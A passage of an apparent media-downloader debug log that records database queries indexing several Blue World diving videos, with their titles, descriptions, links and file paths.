Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreathers\n\nChapters:\n0:00 Tease/Open\n0:27 Intro/History\n3:03 First Dive: Heian Maru\n14:24 Second Dive: Fujikawa Maru\n25:11 Summary and Credits", "Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]", "a50d4746-9b90-4e59-9ddd-f427a3cb9965", "LKKh2j6XvUY", false, "https://www.youtube.com/watch?v=LKKh2j6XvUY", 34, [], 1557, false, 7, "/downloads/rory/BlueWorldTV/2025-12-13 Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]/Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3] [LKKh2j6XvUY].mp4", false, false, 98, ~U[2025-12-13 15:00:11Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this third installment of the Chuuk adventure series. Using rebreathers for some deep penetrations into the wrecks, we find all kinds of cool stuff including airplanes, a medical kit, and a machine shop with the famous \"R2D2\" compressor!\n\nThe wrecks explored in this segment are the Heian Maru, and Fujikawa Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 3 of the Chuuk adventure. Did you see PARTS 1 & 2?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreathers\n\nChapters:\n0:00 Tease/Open\n0:27 Intro/History\n3:03 First Dive: Heian Maru\n14:24 Second Dive: Fujikawa Maru\n25:11 Summary and Credits", "Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]", "LKKh2j6XvUY", "https://www.youtube.com/watch?v=LKKh2j6XvUY", 34, 1557, false, "/downloads/rory/BlueWorldTV/2025-12-13 Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]/Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3] [LKKh2j6XvUY].mp4", false, ~U[2025-12-13 15:00:11Z]] 19:02:34.247 [debug] QUERY OK source="sources" db=0.2ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.248 [debug] QUERY OK source="media_items" db=0.8ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-22 15:01:37Z], 34] 19:02:34.249 [debug] QUERY OK source="media_items" db=0.9ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd venture to Roatan to join the 2025 DiveTalk Meetup where they make new friends and do some great dives on their DiveTalk Go rebreathers! Not only do they have some amazing reef dives, but the do a 200 foot trimix dive on the wreck of the Josie J.\n\nSeason 10 of Jonathan Bird's Blue World is made possible by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreather \n\nChapters:\n0:00 Intro\n3:30 First Dive\n11:04 Pool Sessions\n12:56 Wreck Dive Intro\n17:24 Start of Wreck Dive\n24:55 Summary/credits", "DEEP Wreck Dive on Roatan with DiveTalk!", "9c7ada31-a7ea-49e9-bb1e-99ccdba3facd", "oBz4K-WfOfA", false, "https://www.youtube.com/watch?v=oBz4K-WfOfA", 34, [], 1539, false, 8, "/downloads/rory/BlueWorldTV/2025-11-22 DEEP Wreck Dive on Roatan with DiveTalk!/DEEP Wreck Dive on Roatan with DiveTalk! [oBz4K-WfOfA].mp4", false, false, 98, ~U[2025-11-22 15:01:37Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "Jonathan and Todd venture to Roatan to join the 2025 DiveTalk Meetup where they make new friends and do some great dives on their DiveTalk Go rebreathers! Not only do they have some amazing reef dives, but the do a 200 foot trimix dive on the wreck of the Josie J.\n\nSeason 10 of Jonathan Bird's Blue World is made possible by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreather \n\nChapters:\n0:00 Intro\n3:30 First Dive\n11:04 Pool Sessions\n12:56 Wreck Dive Intro\n17:24 Start of Wreck Dive\n24:55 Summary/credits", "DEEP Wreck Dive on Roatan with DiveTalk!", "oBz4K-WfOfA", "https://www.youtube.com/watch?v=oBz4K-WfOfA", 34, 1539, false, "/downloads/rory/BlueWorldTV/2025-11-22 DEEP Wreck Dive on Roatan with DiveTalk!/DEEP Wreck Dive on Roatan with DiveTalk! [oBz4K-WfOfA].mp4", false, ~U[2025-11-22 15:01:37Z]] 19:02:34.250 [debug] QUERY OK source="sources" db=0.3ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.251 [debug] QUERY OK source="media_items" db=0.8ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-25 14:01:08Z], 34] 19:02:34.253 [debug] QUERY OK source="media_items" db=1.1ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd team up with rock guitarist John Wesley and travel to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the second in a series of five episodes coming from our Chuuk expedition. \n\nThe wrecks explored in this segment are the Nippo Maru, Sankisan Maru and Rio Dejaneiro Maru.\n\nThis is PART 2 of the Chuuk adventure. Did you see PART 1?\nhttps://youtu.be/N1tKGFoW7W8\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n#rebreather \n#wreckdiving \n\nChapters:\n0:00 Intro\n1:48 Getting to Chuuk\n5:15 About the Battle\n6:18 Our adventure begins\n8:35 Our first wreck: Nippo Maru\n18:28 Evening fun\n20:52 Our second wreck: Sankisan Maru\n26:42 Our Third Wreck: Rio Dejaneiro Maru\n35:12 Close and credits", "Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]", "97bb370d-3003-4bb3-8b9c-0ff3bb6618d8", "h2NPGc12V-4", false, "https://www.youtube.com/watch?v=h2NPGc12V-4", 34, [], 2163, false, 9, "/downloads/rory/BlueWorldTV/2025-10-25 Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]/Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2] [h2NPGc12V-4].mp4", false, false, 98, ~U[2025-10-25 14:01:08Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "Jonathan and Todd team up with rock guitarist John Wesley and travel to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the second in a series of five episodes coming from our Chuuk expedition. \n\nThe wrecks explored in this segment are the Nippo Maru, Sankisan Maru and Rio Dejaneiro Maru.\n\nThis is PART 2 of the Chuuk adventure. Did you see PART 1?\nhttps://youtu.be/N1tKGFoW7W8\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n#rebreather \n#wreckdiving \n\nChapters:\n0:00 Intro\n1:48 Getting to Chuuk\n5:15 About the Battle\n6:18 Our adventure begins\n8:35 Our first wreck: Nippo Maru\n18:28 Evening fun\n20:52 Our second wreck: Sankisan Maru\n26:42 Our Third Wreck: Rio Dejaneiro Maru\n35:12 Close and credits", "Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]", "h2NPGc12V-4", "https://www.youtube.com/watch?v=h2NPGc12V-4", 34, 2163, false, "/downloads/rory/BlueWorldTV/2025-10-25 Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]/Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2] [h2NPGc12V-4].mp4", false, ~U[2025-10-25 14:01:08Z]] 19:02:34.253 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.254 [debug] QUERY OK source="media_items" db=0.8ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-06 14:01:22Z], 34] 19:02:34.255 [debug] QUERY OK source="media_items" db=0.8ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Christine visit the marine protected area of Jardines de la Reina (Gardens of the Queen) in Cuba on board the Jardines Aggressor diving yacht to see how the reefs of the Caribbean looked 30 years ago!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cuba #scuba \n\nChapters:\n0:00 Intro\n1:45 Arrive on the Boat\n4:16 First Dive\n11:09 Night Dive\n12:20 Land Excursion\n13:50 Another Dive\n16:55 Summary and Close", "Diving the Pristine Reefs of CUBA!", "5b3873d4-950c-4a31-96d0-3253fd8210cb", "s0KGNqDNyDk", false, "https://www.youtube.com/watch?v=s0KGNqDNyDk", 34, [], 1085, false, 10, "/downloads/rory/BlueWorldTV/2025-09-06 Diving the Pristine Reefs of CUBA!/Diving the Pristine Reefs of CUBA! [s0KGNqDNyDk].mp4", false, false, 98, ~U[2025-09-06 14:01:22Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "Jonathan and Christine visit the marine protected area of Jardines de la Reina (Gardens of the Queen) in Cuba on board the Jardines Aggressor diving yacht to see how the reefs of the Caribbean looked 30 years ago!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cuba #scuba \n\nChapters:\n0:00 Intro\n1:45 Arrive on the Boat\n4:16 First Dive\n11:09 Night Dive\n12:20 Land Excursion\n13:50 Another Dive\n16:55 Summary and Close", "Diving the Pristine Reefs of CUBA!", "s0KGNqDNyDk", "https://www.youtube.com/watch?v=s0KGNqDNyDk", 34, 1085, false, "/downloads/rory/BlueWorldTV/2025-09-06 Diving the Pristine Reefs of CUBA!/Diving the Pristine Reefs of CUBA! [s0KGNqDNyDk].mp4", false, ~U[2025-09-06 14:01:22Z]] 19:02:34.256 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.257 [debug] QUERY OK source="media_items" db=0.8ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-02 14:01:30Z], 34] 19:02:34.260 [debug] QUERY OK source="media_items" db=3.2ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd return to Playa del Carmen to investigate how the Bull sharks are doing ten years after our epic Bull shark adventure!\n\nTo see the original episode:\nhttps://youtu.be/vrkkQO9zVfA\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #mexico", "Return to the BULL SHARKS of Mexico!", "70377471-1d14-4cf0-aad5-54490a4f19c6", "st5_OKH1O-g", false, "https://www.youtube.com/watch?v=st5_OKH1O-g", 34, [], 564, false, 11, "/downloads/rory/BlueWorldTV/2025-08-02 Return to the BULL SHARKS of Mexico!/Return to the BULL SHARKS of Mexico! [st5_OKH1O-g].mp4", false, false, 98, ~U[2025-08-02 14:01:30Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "Jonathan and Todd return to Playa del Carmen to investigate how the Bull sharks are doing ten years after our epic Bull shark adventure!\n\nTo see the original episode:\nhttps://youtu.be/vrkkQO9zVfA\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #mexico", "Return to the BULL SHARKS of Mexico!", "st5_OKH1O-g", "https://www.youtube.com/watch?v=st5_OKH1O-g", 34, 564, false, "/downloads/rory/BlueWorldTV/2025-08-02 Return to the BULL 